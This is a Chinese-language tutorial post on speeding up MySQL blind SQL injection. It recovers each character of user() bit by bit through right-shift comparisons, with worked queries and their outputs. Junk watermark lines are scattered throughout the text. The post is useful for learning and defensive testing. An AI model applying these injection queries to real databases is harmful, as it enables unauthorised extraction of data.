关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

: ~1 P  p4 I: N. _. Q
# U; X  s- O1 ~" }
下面将以查询mysql数据库当中user()的第一位为例:

1 @6 `; U) o! X2 x+ o  S
0 [1 S  n6 U& `5 {
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


: M2 `/ g8 U5 Q1 h: e, T
3 E7 x; c  a0 \! Y首先执行如下sql语句:
) w# l+ l9 c9 K# N% H' X


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;


$ I- o+ g6 w. e5 P
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
% A( |6 |) e( |* B2 s( F: h
& i' l$ f! Q# n8 H, v$ x) P  L
. l! Q2 f0 h, j. F1 N
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

; @5 s' D* m4 }* m# c( O3 f

" i' d0 ^# v6 r: @, j如果运算结果为1,说明第一位为0,不为1
" i2 D1 g9 F; L% y

! H! e' ?5 h- b% T( f5 d, D
$ |- T% [! X0 Y! J" s+————————————–+
( _% u+ E4 j8 h3 |
| (ascii((substr(user(),1,1))) >> 7)=0 |
1 t9 s! r8 v+ @: W& P0 p
+————————————–+

: E7 O0 C$ v) c; F0 i4 g( ^9 z| 1 |

+————————————–+
2 G$ j/ [7 B. Z4 d$ K
  B# Y% _0 T4 ]$ J  q" u1 row in set (0.00 sec)

3 H% L/ J0 h) P/ q这样我们就确定这个8bit的ascii的第一位为0

0 \3 i0 q( d0 x6 A7 E7 ^4 e
  w9 ^* h7 M3 A# J, A
/ r& W8 ]" f2 l第二次我们来做6次右偏移来确定前两位

* z* P% \% I7 z( L* n3 _5 j# x

5 D6 w5 ]9 f/ C0 l: ~; E前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
0 y  @. B- P2 J3 c3 c0 \
+————————————–+
4 d) X1 J5 _% u3 o- A
  c# U& j$ a- ?: || (ascii((substr(user(),1,1))) >> 6)=0 |

6 p5 W0 \- a* N0 V: L* B2 Z6 ?, W+————————————–+

5 Z. U1 D, R# V; X3 ]9 t* [$ G| 0 |
) J. H! ~; V' j+ p0 s  Y
, Y0 m. C% b8 b6 c+————————————–+

1 row in set (0.00 sec)

( o3 j$ d" a  J) ]

结果为0,即第二位为1
* `6 B0 d, ~7 t. p+ g* ~
, x8 W$ ?2 {" p  B2 \" _$ d0 v2 J

开始猜测前三位为010或011
5 ^( ?+ V( t$ l, u% E
4 m6 s! [* J+ Y! m
" E* R+ P. l7 L0 M
让我们看看010和011的ascii码是多少

* r! a$ `" X. R- D5 A

. E8 J5 A: J6 U: s分别查询select b’011′ select b’010′


7 D: X4 v% D6 Q; z' R
& u! g& b7 }: p0 |; T获得结果 010 = 2 011 = 3
" h- l, C4 q7 v' ]( `! K8 N
7 d# v3 p0 ?7 M

执行如下sql:


' |) K! m3 b/ I7 I
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
8 i; a7 x; G% M+ J; u/ E1 y
& _& K/ }6 w, H3 a: [8 L; ?+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
) F( z8 m% n$ U
+————————————–+
  J9 a$ M+ _) N3 U3 u
| 0 |

+————————————–+

- ]2 W2 l' s1 b2 z$ ~即前三位不为010,而是011

# D. a4 G1 X; i# w% @: P' ^
1 f. g9 s2 T  f5 C% v
直到获得最后一位



2 Z8 K* v8 q' |. d最终结果为:01110010

. B4 X" z5 X- w" y/ G. R
! t! h6 n6 J! Y: q; ]
转换一下:

+ u+ N9 E3 l( B0 ~/ Z

select b’01110010′
8 u& F+ Y, [# j. D
& n, N+ @2 s- S" b3 ~; ~

/ s# F: V1 Y5 d查询结果


/ A% U- G6 b* ^. `$ d$ I9 D, h0 W
* H5 N$ E% K) n1 ~  D+————-+

! V  W1 B7 Q8 z" g9 ?8 X- o7 ]| b’01110010′ |
+ F  @1 Y2 m  N& y
5 ?* {& u1 \; e  K( a4 a. b+————-+
0 x9 t2 w. @% |: f/ V; E9 v# A& Q+ [/ O
" ], T5 G( c7 I& Y( m| r |

+————-+
, S1 i& ]8 k! `9 d' _
6 v5 t& H6 h) Q1 V. ^$ d1 row in set (0.00 sec)

" j* A* K) }. ~2 l6 w

. g7 i; p; C7 u) q5 l这样我们就获得了user()的第一位.其它位依此类推
: x8 V5 Z% Y$ ^# }: i! U/ }
4 L0 h' a0 n/ g0 c8 \